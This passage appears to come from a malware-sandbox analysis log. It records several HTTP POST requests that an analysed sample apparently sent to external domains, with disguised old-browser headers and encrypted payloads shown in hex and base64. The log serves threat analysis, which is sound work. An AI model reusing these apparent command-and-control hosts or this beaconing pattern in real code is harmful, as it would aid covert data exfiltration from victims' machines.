67 4d 51 70 75 53 7a 43 57 62 74 36 44 32 4a 6a 51 7a 41 36 4c 72 42 42 48 33 6e 44 75 70 55 32 5a 34 4b 37 52 51 78 33 31 6b 46 5a 6a 73 68 36 4d 31 55 57 71 5a 31 50 4e 68 7a 4c 38 53 45 55 66 38 34 61 38 72 69 36 7a 4b 6b 69 6a 6f 43 79 53 6f 78 73 4d 32 72 38 49 2b 32 58 53 45 6b 54 6b 47 44 71 77 51 69 49 4d 64 55 4a 61 79 2b 6a 4a 32 2b 52 59 32 32 53 31 38 30 39 53 79 6d 66 79 4e 39 6e 46 64 71 74 79 54 63 45 4a 62 5a 44 58 63 4b 49 75 45 72 48 44 6d 4c 5a 63 53 38 77 35 39 43 46 7a 63 58 30 77 66 42 32 63 62 73 7a 63 6a 31 44 57 6a 45 6c 5a 37 55 75 69 55 7a 32 71 58 79 59 76 44 53 57 79 55 53 4c 46 70 52 79 58 68 46 75 76 4e 61 59 6a 30 7a 48 6a 61 4e 77 63 38 42 63 6f 59 4d 4b 32 66 42 51 75 52 4c 67 32 64 6a 37 39 79 4a 34 2f 51 76 73 73 43 64 62 70 56 79 52 38 54 5a 2f 49 69 7a 76 34 4e 6a 4e 70 31 4b 32 79 59 66 36 4a 74 37 59 65 72 4c 2f 51 41 47 38 6f 58 49 73 63 47 38 35 2b 6f 44 59 4d 5a 56 63 62 6c 64 4f 37 54 6a 6e 7a 42 5a 44 30 72 50 38 37 37 65 49 41 5a 39 39 68 44 31 61 32 41 45 6f 4c 63 2f 65 57 6f 53 6f 6b 6f 6d 48 2f 6c 75 73 65 7a 56 74 77 6b 34 4c 50 55 53 70 42 57 2f 54 63 54 77 70 4c 47 79 50 61 6d 44 6c 73 67 37 41 38 58 65 63 66 36 68 57 39 43 69 43 73 31 34 4f 64 79 6d 6d 30 34 61 76 51 57 53 2b 32 35 6a 39 47 66 6b 46 71 6d 4f 45 59 63 45 47 50 6a 56 33 67 3d 3d Data Ascii: dPwxpxgpbQyRZ9spG5mxXwvoZNvguchwzOU6eSdL77cDXR114WlPucbCcLtxw9cZRSV40pVoakmoCBg+BgmTLsQwXLkSkInmZNTt38KM6y0LqfTpEc/kXD7e5zAI5gMQpuSzCWbt6D2JjQzA6LrBBH3nDupU2Z4K7RQx31kFZjsh6M1UWqZ1PNhzL8SEUf84a8ri6zKkijoCySoxsM2r8I+2XSEkTkGDqwQiIMdUJay+jJ2+RY22S1809SymfyN9nFdqtyTcEJbZDXcKIuErHDmLZcS8w59CFzcX0wfB2cbszcj1DWjElZ7UuiUz2qXyYvDSWyUSLFpRyXhFuvNaYj0zHjaNwc8BcoYMK2fBQuRLg2dj79yJ4/QvssCdbpVyR8TZ/Iizv4NjNp1K2yYf6Jt7YerL/QAG8oXIscG85+oDYMZVcbldO7TjnzBZD0rP877eIAZ99hD1a2AEoLc/eWoSokomH/lusezVtwk4LPUSpBW/TcTwpLGyPamDlsg7A8Xecf6hW9CiCs14Odymm04avQWS+25j9GfkFqmOEYcEGPjV3g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.synetik.netCache-Control: no-cacheData Raw: 38 33 76 69 72 66 65 77 64 51 79 61 74 34 41 47 5a 6c 6b 4b 43 30 44 43 6f 72 4f 74 39 4b 58 36 47 39 51 51 51 4d 4a 65 62 76 37 45 6c 71 58 38 6d 6e 38 6a 79 6a 53 6a 5a 39 49 53 49 46 46 55 7a 47 75 64 41 4b 45 4b 79 73 57 48 55 41 42 6b 5a 4e 34 4d 6c 4f 6b 6e 47 73 4d 32 42 63 61 4e 38 5a 4f 50 62 4e 36 52 31 68 43 72 76 72 39 49 61 76 71 31 55 67 69 56 38 2b 67 4c 42 52 49 4b 73 66 59 79 32 7a 6a 53 59 34 47 73 6f 31 41 37 45 47 44 6b 46 72 79 38 31 69 31 52 62 52 64 6c 2f 4c 4f 59 48 46 54 73 77 44 36 76 6a 4e 6a 37 63 4b 66 73 30 2f 63 50 2b 62 4b 54 7a 7a 6d 6b 66 72 43 38 30 53 47 6d 46 44 66 36 4a 49 53 54 55 30 37 68 75 69 56 4a 75 6a 32 49 36 56 79 2f 33 48 66 6b 48 6c 63 38 34 43 32 42 66 79 72 33 74 56 5a 69 73 38 53 6a 75 62 4c 58 5a 62 61 73 37 39 78 56 78 6c 63 31 52 72 34 62 69 37 43 47 2b 6c 49 2b 44 32 42 66 71 72 73 4d 6f 46 51 6c 4a 6f 53 71 4f 6c 38 46 79 50 52 53 4c 55 37 76 48 31 37 47 51 4d 42 65 76 59 46 6d 34 4e 47 65 63 62 59 39 52 73 65 67 52 66 57 6a 4e 37 43 4a 6f 33 75 79 67 2f 79 35 66 75 38 4f 34 41 73 54 4c 30 79 7a 61 58 34 50 52 57 57 37 4a 37 6a 47 64 79 68 6b 6e 6c 44 77 2b 34 35 71 73 34 65 74 58 50 76 66 45 4d 72 77 67 42 53 67 6a 77 4a 76 63 6f 44 76 43 67 71 4f 4f 6b 64 32 72 53 57 78 4b 65 4d 6d 4d 54 5a 44 71 52 4e 70 36 31 55 34 55 42 37 39 37 2f 39 30 41 33 48 46 50 79 41 75 38 76 70 50 45 7a 59 58 38 76 71 67 58 4a 70 41 64 43 31 67 6b 5a 76 43 6b 62 55 45 78 57 34 6d 71 69 45 56 77 78 70 6c 30 61 78 6f 43 4a 74 32 70 62 58 61 6a 44 53 58 42 55 63 76 61 6d 2b 6b 66 4e 41 78 37 6e 50 64 76 74 6c 70 79 4d 66 48 55 42 68 44 31 36 47 2f 59 71 5a 33 4a 58 49 71 72 78 57 5a 45 30 38 3d Data Ascii: 83virfewdQyat4AGZlkKC0DCorOt9KX6G9QQQMJebv7ElqX8mn8jyjSjZ9ISIFFUzGudAKEKysWHUABkZN4MlOknGsM2BcaN8ZOPbN6R1hCrvr9Iavq1UgiV8+gLBRIKsfYy2zjSY4Gso1A7EGDkFry81i1RbRdl/LOYHFTswD6vjNj7cKfs0/cP+bKTzzmkfrC80SGmFDf6JISTU07huiVJuj2I6Vy/3HfkHlc84C2Bfyr3tVZis8SjubLXZbas79xVxlc1Rr4bi7CG+lI+D2BfqrsMoFQlJoSqOl8FyPRSLU7vH17GQMBevYFm4NGecbY9RsegRfWjN7CJo3uyg/y5fu8O4AsTL0yzaX4PRWW7J7jGdyhknlDw+45qs4etXPvfEMrwgBSgjwJvcoDvCgqOOkd2rSWxKeMmMTZDqRNp61U4UB797/90A3HFPyAu8vpPEzYX8vqgXJpAdC1gkZvCkbUExW4mqiEVwxpl0axoCJt2pbXajDSXBUcvam+kfNAx7nPdvtlpyMfHUBhD16G/YqZ3JXIqrxWZE08=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 38 48 4a 53 76 57 6e 55 42 56 63 6b 71 45 77 4c 4f 4a 4b 64 75 49 49 63 64 37 67 48 32 6d 34 4c 72 63 57 53 54 76 61 79 41 61 36 68 35 65 51 59 78 66 71 51 57 56 2f 5a 33 6d 6a 78 38 59 6d 69 53 4f 65 34 6f 4d 42 57 64 76 59 50 4d 61 78 48 79 56 58 52 2b 32 57 55 72 30 48 4f 46 7a 53 33 6b 68 50 2f 6f 4b 45 71 78 5a 4e 75 64 59 36 38 48 46 57 4a 62 70 77 2f 5a 73 49 2b 7a 44 79 74 75 63 65 37 64 4d 4c 4d 76 74 75 55 57 72 79 70 73 49 72 35 6c 30 70 33 78 2b 56 46 55 77 48 67 71 76 4d 4b 62 6c 4a 76 5a 5a 2b 51 64 78 63 56 37 46 2f 67 31 76 6c 37 76 43 4e 41 57 4a 32 2b 73 35 72 45 79 58 4f 4f 43 63 48 79 58 6f 30 38 6e 34 2f 7a 4e 53 35 79 53 51 6f 2f 49 66 66 52 78 2b 6c 73 78 6f 6c 4d 78 54 55 42 70 58 54 66 43 37 53 77 44 4b 62 30 79 68 58 68 45 6b 45 2b 58 53 63 31 6c 6b 4c 73 73 6d 72 36 31 65 74 56 54 64 39 4a 39 4e 68 4c 76 33 2b 75 5a 63 61 59 30 59 68 35 63 50 37 2b 67 43 5a 74 39 2b 36 33 54 2f 48 54 45 65 56 73 39 33 33 66 53 64 6d 42 55 58 65 76 71 62 69 46 35 55 2b 58 58 47 74 54 47 4c 2b 6e 6b 78 36 73 31 6f 64 30 56 32 73 7a 62 33 62 32 53 66 64 61 4e 39 4f 34 39 41 30 6b 33 4e 44 43 67 6c 6f 52 6b 66 47 42 74 4c 69 61 55 7a 31 58 78 63 38 34 38 37 68 38 67 6c 32 45 2b 71 33 6d 7a 52 51 35 61 62 57 41 5a 71 56 38 64 33 53 46 63 32 74 61 63 65 6b 51 70 4d 69 45 47 34 50 33 78 59 70 49 32 77 38 6f 32 74 6e 53 33 55 52 6e 41 69 68 51 56 32 7a 59 52 49 42 6d 59 75 5a 49 6f 56 49 71 6b 6c 74 69 52 45 5a 63 33 70 45 6b 41 55 70 4d 78 71 70 64 6d 66 53 76 55 43 71 2f 66 57 2b 42 63 4f 70 69 4e 57 48 63 68 42 73 57 45 46 38 55 62 36 51 39 39 56 48 34 52 4b 68 5a 48 6b 72 4c 57 57 4d 6a 48 66 67 64 5a 56 78 4f 55 2f 70 74 49 59 6d 33 4c 70 71 37 38 4a 45 6b 44 46 4d 74 2b 61 57 71 54 30 7a 2f 54 63 59 36 6a 47 72 32 78 6c 35 75 71 6a 42 37 51 41 35 6b 52 73 55 48 39 67 3d 3d Data Ascii: 8HJSvWnUBVckqEwLOJKduIIcd7gH2m4LrcWSTvayAa6h5eQYxfqQWV/Z3mjx8YmiSOe4oMBWdvYPMaxHyVXR+2WUr0HOFzS3khP/oKEqxZNudY68HFWJbpw/ZsI+zDytuce7dMLMvtuUWrypsIr5l0p3x+VFUwHgqvMKblJvZZ+QdxcV7F/g1vl7vCNAWJ2+s5rEyXOOCcHyXo08n4/zNS5ySQo/IffRx+lsxolMxTUBpXTfC7SwDKb0yhXhEkE+XSc1lkLssmr61etVTd9J9NhLv3+uZcaY0Yh5cP7+gCZt9+63T/HTEeVs933fSdmBUXevqbiF5U+XXGtTGL+nkx6s1od0V2szb3b2SfdaN9O49A0k3NDCgloRkfGBtLiaUz1Xxc8487h8gl2E+q3mzRQ5abWAZqV8d3SFc2tacekQpMiEG4P3xYpI2w8o2tnS3URnAihQV2zYRIBmYuZIoVIqkltiREZc3pEkAUpMxqpdmfSvUCq/fW+BcOpiNWHchBsWEF8Ub6Q99VH4RKhZHkrLWWMjHfgdZVxOU/ptIYm3Lpq78JEkDFMt+aWqT0z/TcY6jGr2xl5uqjB7QA5kRsUH9g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 72 7a 4b 53 4f 43 32 43 67 67 7a 65 34 78 34 73 4a 48 31 53 6c 65 5a 47 47 50 55 62 46 61 30 55 73 51 32 67 6f 4f 74 4f 2f 5a 42 55 57 61 4a 56 64 6f 76 53 59 76 2f 38 6f 6e 66 77 2f 56 45 6a 43 73 4a 44 4c 6c 4f 6b 79 43 79 55 70 57 34 77 36 36 58 68 6c 4e 6a 57 6a 38 6f 36 34 6d 49 56 6d 4b 68 6f 44 67 35 53 4f 75 76 76 63 76 48 42 54 78 51 4e 38 51 38 53 4c 50 4e 45 7a 50 62 30 31 78 33 36 6a 6c 6b 75 51 57 50 69 4c 78 32 58 7a 75 7a 39 52 75 2f 64 4f 6d 4e 30 4f 36 4d 32 2b 53 37 2b 78 4d 5a 67 4e 7a 7a 47 77 45 59 38 6e 34 50 47 79 4b 76 38 42 70 33 39 56 55 44 6e 62 65 53 2f 2b 71 66 63 71 67 6e 74 67 76 2b 68 50 74 4d 33 4c 2b 4a 63 47 34 44 44 4f 36 4a 6f 4c 75 35 71 72 6a 77 77 48 45 35 6f 41 75 75 35 56 2f 34 47 74 4d 36 76 2b 73 57 4a 2f 37 4b 61 72 4d 4c 31 45 6e 61 63 4c 54 43 2b 47 68 51 43 77 72 30 75 7a 57 73 52 70 78 63 43 4f 45 72 4e 6a 4d 6a 5a 45 39 49 6a 65 42 6a 46 69 41 50 4f 51 69 56 45 77 6c 66 63 32 69 74 35 2f 43 42 4b 6b 54 68 34 2f 72 6b 57 2b 50 6c 68 76 78 37 50 4b 66 78 2f 4e 47 6c 75 46 44 6c 76 64 48 37 54 70 69 6d 61 58 7a 54 77 53 4b 69 71 52 63 34 45 70 75 58 52 57 36 33 4a 64 42 2b 42 4a 54 44 57 34 2f 66 58 70 38 72 79 6e 45 48 37 46 4b 77 4f 42 72 64 70 6a 2b 4b 36 6b 52 6f 68 35 78 4a 73 36 46 77 71 35 6c 6e 65 64 63 73 6b 7a 77 56 71 2f 62 72 53 79 44 69 74 2f 5a 45 62 2b 38 44 37 55 49 46 70 41 6d 62 59 35 68 5a 38 47 43 45 49 4b 67 76 4e 2b 6a 30 47 79 6e 6b 48 51 54 6a 33 74 38 56 77 52 4a 6f 7a 79 6a 5a 70 73 38 62 4d 47 30 2b 75 38 43 57 4b 56 51 4f 57 51 4d 73 33 6e 39 47 6f 45 67 56 45 72 68 38 4d 30 76 35 4d 78 2b 74 67 77 37 41 31 43 57 73 64 6d 54 37 6b 46 39 5a 59 55 61 5a 76 4c 37 30 72 43 43 38 3d Data Ascii: rzKSOC2Cggze4x4sJH1SleZGGPUbFa0UsQ2goOtO/ZBUWaJVdovSYv/8onfw/VEjCsJDLlOkyCyUpW4w66XhlNjWj8o64mIVmKhoDg5SOuvvcvHBTxQN8Q8SLPNEzPb01x36jlkuQWPiLx2Xzuz9Ru/dOmN0O6M2+S7+xMZgNzzGwEY8n4PGyKv8Bp39VUDnbeS/+qfcqgntgv+hPtM3L+JcG4DDO6JoLu5qrjwwHE5oAuu5V/4GtM6v+sWJ/7KarML1EnacLTC+GhQCwr0uzWsRpxcCOErNjMjZE9IjeBjFiAPOQiVEwlfc2it5/CBKkTh4/rkW+Plhvx7PKfx/NGluFDlvdH7TpimaXzTwSKiqRc4EpuXRW63JdB+BJTDW4/fXp8rynEH7FKwOBrdpj+K6kRoh5xJs6Fwq5lnedcskzwVq/brSyDit/ZEb+8D7UIFpAmbY5hZ8GCEIKgvN+j0GynkHQTj3t8VwRJozyjZps8bMG0+u8CWKVQOWQMs3n9GoEgVErh8M0v5Mx+tgw7A1CWsdmT7kF9ZYUaZvL70rCC8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.iamdirt.comCache-Control: no-cacheData Raw: 77 68 59 2f 31 74 54 7a 44 6c 65 70 43 45 4e 76 72 38 30 4c 62 53 64 53 4c 34 4a 4d 51 58 75 47 53 42 36 70 4b 39 58 5a 57 78 64 66 76 66 33 6a 4b 6b 73 32 44 39 47 58 53 66 57 4e 41 77 37 58 4c 38 30 32 36 64 70 65 4a 45 39 4b 59 32 55 5a 62 53 68 56 77 32 73 38 54 2f 49 4d 31 2b 56 64 37 66 63 61 50 2f 6a 65 50 67 74 6d 6e 42 4c 59 48 74 5a 33 41 65 6b 54 44 32 77 5a 49 68 52 43 45 43 34 30 50 30 31 2f 59 4a 51 62 66 76 2f 36 57 33 36 48 71 44 48 35 48 44 75 64 4c 44 33 53 53 56 36 70 35 49 51 2f 4d 43 6e 34 30 72 71 38 63 4f 47 78 78 5a 30 39 74 56 51 5a 2f 37 35 35 6c 72 30 76 70 4f 6e 61 7a 73 66 75 49 43 4d 6d 48 6b 6d 48 4e 52 49 49 49 33 56 37 37 42 63 35 49 48 51 54 4e 6f 65 36 4e 5a 45 6f 30 43 72 57 71 42 32 4e 62 4c 55 79 69 6c 64 4b 38 42 73 65 68 69 4c 70 77 77 36 79 43 4a 64 64 58 78 57 34 4a 6f 6b 46 46 50 51 4a 46 38 79 37 37 6a 35 4d 2b 61 2f 33 65 53 66 2f 35 76 55 6f 43 4a 33 48 4e 63 48 49 5a 6f 58 42 6b 73 39 74 4e 77 30 75 42 66 39 5a 6f 55 2b 52 54 42 47 6a 6c 2f 75 6e 47 38 2b 53 2b 4a 67 76 4e 6a 75 42 71 65 44 45 48 67 4d 48 35 4c 68 66 54 66 77 67 79 57 54 36 6c 37 75 63 58 54 66 4e 57 32 51 4e 49 41 78 44 44 37 2b 66 77 5a 50 56 76 4b 38 36 58 37 79 79 61 51 77 65 5a 4f 4f 2f 4d 59 61 30 56 37 6a 6c 77 32 55 76 47 31 47 4e 75 4d 68 4e 4a 54 39 75 32 39 31 69 77 57 4c 6c 67 55 52 30 75 6c 72 78 75 4e 43 67 43 4b 31 6f 59 51 78 42 79 65 45 71 41 37 75 75 49 5a 5a 4e 4b 79 34 62 38 66 70 64 39 36 2b 67 63 58 32 4d 54 35 75 6c 53 42 74 59 48 75 31 41 6e 62 78 39 44 57 66 45 30 58 7a 52 6b 37 32 73 73 6e 31 55 69 42 70 6a 2b 57 53 35 56 4c 33 37 59 68 61 79 75 59 33 79 4b 2b 6b 32 4d 77 3d 3d Data Ascii: whY/1tTzDlepCENvr80LbSdSL4JMQXuGSB6pK9XZWxdfvf3jKks2D9GXSfWNAw7XL8026dpeJE9KY2UZbShVw2s8T/IM1+Vd7fcaP/jePgtmnBLYHtZ3AekTD2wZIhRCEC40P01/YJQbfv/6W36HqDH5HDudLD3SSV6p5IQ/MCn40rq8cOGxxZ09tVQZ/755lr0vpOnazsfuICMmHkmHNRIII3V77Bc5IHQTNoe6NZEo0CrWqB2NbLUyildK8BsehiLpww6yCJddXxW4JokFFPQJF8y77j5M+a/3eSf/5vUoCJ3HNcHIZoXBks9tNw0uBf9ZoU+RTBGjl/unG8+S+JgvNjuBqeDEHgMH5LhfTfwgyWT6l7ucXTfNW2QNIAxDD7+fwZPVvK86X7yyaQweZOO/MYa0V7jlw2UvG1GNuMhNJT9u291iwWLlgUR0ulrxuNCgCK1oYQxByeEqA7uuIZZNKy4b8fpd96+gcX2MT5ulSBtYHu1Anbx9DWfE0XzRk72ssn1UiBpj+WS5VL37YhayuY3yK+k2Mw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.t-tre.comCache-Control: no-cacheData Raw: 2b 50 4c 47 53 50 61 72 45 6c 65 5a 2b 76 54 38 55 62 4c 72 34 35 6b 55 51 44 41 57 77 59 68 74 69 68 66 39 77 70 7a 72 57 47 74 2f 6e 2b 52 77 4f 2b 5a 54 69 5a 57 30 30 42 39 32 49 4c 69 30 57 76 39 78 78 57 6a 6e 72 69 34 2f 78 6b 2b 4e 73 6d 47 68 59 43 7a 78 45 41 36 58 7a 65 33 72 46 47 4b 71 56 4e 38 75 63 70 4c 76 2f 78 65 4d 6b 43 4a 62 42 78 68 59 7a 38 44 6d 78 78 76 4f 37 42 75 61 65 39 5a 55 6a 6b 34 57 79 57 79 36 63 33 45 72 39 71 50 65 6c 52 33 2f 37 4b 64 62 74 4c 4d 61 52 32 52 44 2b 75 6e 67 70 51 65 6d 7a 6a 4b 6c 30 59 57 41 44 33 52 6b 66 33 77 79 4d 69 38 36 55 51 5a 35 66 4b 44 57 42 63 76 71 37 58 36 4e 38 5a 35 34 69 4e 53 36 41 65 39 4f 54 64 37 37 35 4e 33 6a 48 4f 4a 71 30 70 4e 34 6e 35 63 6e 59 58 47 56 51 7a 51 74 44 76 63 5a 6e 57 46 55 4f 4f 6d 63 53 4a 30 4e 77 51 42 7a 6c 72 62 65 56 36 49 56 2f 78 67 49 33 64 74 74 35 4a 62 6e 62 43 49 35 78 4e 72 71 53 6c 63 48 4d 38 76 65 4f 49 62 78 58 34 4e 63 32 6f 49 38 45 37 62 52 37 35 6a 32 49 38 68 79 30 49 36 65 72 42 7a 4c 50 62 66 56 44 31 55 38 4e 64 34 56 6f 61 47 53 74 73 36 50 6c 54 46 52 53 70 33 65 65 6f 55 78 76 38 71 52 6c 39 75 54 41 51 47 73 49 54 4c 48 6f 73 74 78 74 50 77 41 36 6e 6a 62 33 6a 31 36 6a 52 4c 33 2b 5a 61 50 42 79 73 43 64 6d 50 65 43 78 65 67 50 78 74 4a 7a 6f 6d 48 65 68 43 72 75 77 42 58 47 50 46 51 7a 75 7a 37 39 72 75 63 79 42 45 61 4e 4b 43 34 35 78 70 4e 67 5a 59 7a 50 6d 61 51 4b 4a 42 34 72 43 61 6e 45 61 34 31 56 79 31 4f 45 78 52 66 36 58 36 4e 34 2b 34 6b 6c 48 74 53 63 69 33 7a 57 67 76 42 38 35 31 51 4c 49 30 72 6e 45 46 45 37 71 47 33 51 50 57 61 65 61 79 48 49 54 7a 59 36 48 52 63 7a 4d 52 35 57 67 3d 3d Data Ascii: +PLGSParEleZ+vT8UbLr45kUQDAWwYhtihf9wpzrWGt/n+RwO+ZTiZW00B92ILi0Wv9xxWjnri4/xk+NsmGhYCzxEA6Xze3rFGKqVN8ucpLv/xeMkCJbBxhYz8DmxxvO7Buae9ZUjk4WyWy6c3Er9qPelR3/7KdbtLMaR2RD+ungpQemzjKl0YWAD3Rkf3wyMi86UQZ5fKDWBcvq7X6N8Z54iNS6Ae9OTd775N3jHOJq0pN4n5cnYXGVQzQtDvcZnWFUOOmcSJ0NwQBzlrbeV6IV/xgI3dtt5JbnbCI5xNrqSlcHM8veOIbxX4Nc2oI8E7bR75j2I8hy0I6erBzLPbfVD1U8Nd4VoaGSts6PlTFRSp3eeoUxv8qRl9uTAQGsITLHostxtPwA6njb3j16jRL3+ZaPBysCdmPeCxegPxtJzomHehCruwBXGPFQzuz79rucyBEaNKC45xpNgZYzPmaQKJB4rCanEa41Vy1OExRf6X6N4+4klHtSci3zWgvB851QLI0rnEFE7qG3QPWaeayHITzY6HRczMR5Wg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 57 53 4a 66 69 57 68 53 75 56 59 52 46 68 70 39 4b 35 4c 56 68 74 76 74 42 49 42 77 6c 59 6b 67 48 48 78 30 6e 75 6d 39 77 68 75 4e 63 6b 61 7a 59 4f 52 38 55 4e 31 6b 75 65 56 45 4a 48 74 49 38 30 47 6f 4d 67 42 66 66 68 36 32 42 42 57 76 7a 42 68 79 31 54 47 78 2f 63 33 72 72 38 46 50 63 70 73 39 4d 76 43 43 33 44 6e 7a 50 4d 6c 31 35 56 75 73 39 69 4d 45 4c 4e 38 4b 79 44 48 69 45 6e 67 78 72 33 35 6f 37 71 65 2b 73 4c 35 4c 39 58 6f 32 30 56 6e 36 58 78 4a 4b 4f 56 47 49 33 7a 6c 62 61 45 2b 4d 70 47 6c 39 4a 4d 58 44 53 43 65 36 35 46 5a 62 51 61 4c 69 75 2b 74 77 6a 4a 46 6f 4d 71 71 66 6c 35 4c 74 59 54 57 41 6d 62 34 69 55 53 6d 64 70 30 35 79 2f 55 63 66 70 67 48 39 59 4c 49 53 36 4e 44 69 65 68 44 68 67 48 2b 49 37 75 4f 6e 30 30 4b 78 4f 6a 4f 77 41 35 63 70 4d 2b 4b 54 35 57 7a 42 39 59 32 61 79 4a 4b 75 59 48 68 4d 78 55 2f 4b 68 42 42 4a 4e 64 72 6d 4e 6d 64 6d 43 57 38 34 78 57 30 44 2f 4c 71 46 6f 6f 6c 67 2b 78 46 63 48 37 31 52 39 5a 6c 46 2b 4f 4c 6f 43 35 5a 4d 6f 30 46 44 4b 50 7a 7a 54 71 62 79 30 6c 4c 41 34 38 50 64 43 4e 54 51 59 47 76 70 4f 5a 54 63 51 32 2b 79 55 6f 7a 30 7a 59 56 69 30 59 6b 50 4f 33 70 59 37 46 70 4d 63 48 6d 4d 5a 49 4f 67 69 57 64 4f 63 68 62 39 55 37 6b 65 6c 64 77 39 52 32 79 6e 52 61 57 78 4e 71 33 64 65 73 41 4c 62 69 6e 54 58 36 55 49 33 5a 42 34 2b 4d 58 61 46 36 7a 74 4d 56 72 74 37 4d 68 59 44 33 54 70 76 71 7a 66 55 2b 54 4a 41 31 6e 75 36 59 62 6b 30 77 57 71 6f 69 6a 72 79 68 62 59 59 44 6f 39 5a 62 39 66 6e 5a 6a 51 75 31 78 48 67 36 45 41 59 74 7a 4e 73 53 55 4d 43 62 35 54 74 34 49 30 46 54 45 54 65 6b 30 70 5a 66 45 4c 30 67 56 46 5a 69 49 3d Data Ascii: WSJfiWhSuVYRFhp9K5LVhtvtBIBwlYkgHHx0num9whuNckazYOR8UN1kueVEJHtI80GoMgBffh62BBWvzBhy1TGx/c3rr8FPcps9MvCC3DnzPMl15Vus9iMELN8KyDHiEngxr35o7qe+sL5L9Xo20Vn6XxJKOVGI3zlbaE+MpGl9JMXDSCe65FZbQaLiu+twjJFoMqqfl5LtYTWAmb4iUSmdp05y/UcfpgH9YLIS6NDiehDhgH+I7uOn00KxOjOwA5cpM+KT5WzB9Y2ayJKuYHhMxU/KhBBJNdrmNmdmCW84xW0D/LqFoolg+xFcH71R9ZlF+OLoC5ZMo0FDKPzzTqby0lLA48PdCNTQYGvpOZTcQ2+yUoz0zYVi0YkPO3pY7FpMcHmMZIOgiWdOchb9U7keldw9R2ynRaWxNq3desALbinTX6UI3ZB4+MXaF6ztMVrt7MhYD3TpvqzfU+TJA1nu6Ybk0wWqoijryhbYYDo9Zb9fnZjQu1xHg6EAYtzNsSUMCb5Tt4I0FTETek0pZfEL0gVFZiI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.gpthink.comCache-Control: no-cacheData Raw: 4e 72 65 5a 2f 47 6f 6a 4b 56 65 47 54 6e 35 66 54 66 76 37 67 69 32 67 59 74 2b 61 33 31 71 33 50 71 78 56 6e 34 38 7a 30 2b 43 2b 4d 71 74 61 53 6c 67 76 79 2b 42 43 2b 6c 55 41 5a 54 7a 6d 76 76 59 79 72 6c 42 36 50 32 39 52 79 4e 41 6d 54 7a 50 53 64 68 43 4d 56 39 46 75 38 67 4f 4b 65 50 64 72 50 56 32 59 64 34 6e 69 33 79 63 41 76 62 65 4b 6a 47 62 57 4e 70 48 58 6e 48 34 65 2f 52 36 68 6d 47 43 71 71 4f 44 37 36 32 47 73 41 2b 76 69 71 35 4a 5a 54 6c 55 37 38 75 30 64 56 6c 72 74 6c 31 50 73 63 38 53 74 39 74 67 41 57 66 38 4d 41 39 38 59 6c 6b 41 77 6e 62 51 34 48 74 6a 70 67 45 65 79 71 30 69 6a 6b 4e 30 47 76 55 6b 55 33 43 65 78 52 2f 6f 63 68 31 54 30 4a 78 53 79 4d 4e 66 5a 51 75 73 74 64 4a 77 4c 57 39 77 79 73 51 41 64 52 44 61 4c 56 62 54 35 67 33 55 47 62 6b 49 70 5a 36 51 55 43 74 41 75 65 4c 4e 49 78 79 7a 47 47 72 71 35 49 53 6f 30 52 31 63 62 43 49 2b 2b 61 2b 6c 77 34 49 77 39 51 50 46 41 59 30 4b 6c 66 62 62 65 41 4f 56 4e 32 69 50 73 64 43 70 42 2b 43 30 76 5a 7a 33 6d 6d 6c 77 30 45 43 79 75 6a 41 74 6b 78 70 56 39 61 54 53 56 37 57 4c 31 43 6f 55 70 46 45 64 34 2f 48 70 73 56 48 33 42 4c 6b 76 4b 7a 68 52 39 48 63 59 59 65 46 59 52 32 32 6d 39 58 31 65 69 63 45 59 4d 47 46 4f 57 4b 30 6a 74 4b 55 79 66 32 32 31 77 52 71 55 74 6c 38 4a 76 2f 71 69 74 66 4f 68 6e 6e 65 62 52 66 34 72 77 36 38 57 75 64 34 46 4e 72 44 4e 62 71 67 44 59 4a 64 7a 31 74 2b 63 68 50 64 49 46 68 6a 51 6b 33 4a 63 6a 33 4d 45 63 5a 77 44 43 4f 33 36 51 6b 4c 35 31 76 7a 2b 65 6c 33 62 46 42 45 5a 32 55 36 53 59 75 74 6f 63 35 2f 6d 71 79 4d 45 47 74 68 52 36 68 56 2f 53 46 7a 4f 30 50 45 4c 66 70 5a 49 66 43 33 46 39 46 57 56 4b 44 69 6b 59 49 4a 4f 73 75 36 5a 32 59 35 72 49 67 42 63 67 63 67 47 57 55 34 6b 74 78 7a 33 61 54 71 6d 7a 41 76 77 50 6d 36 6f 36 6e 77 3d 3d Data Ascii: 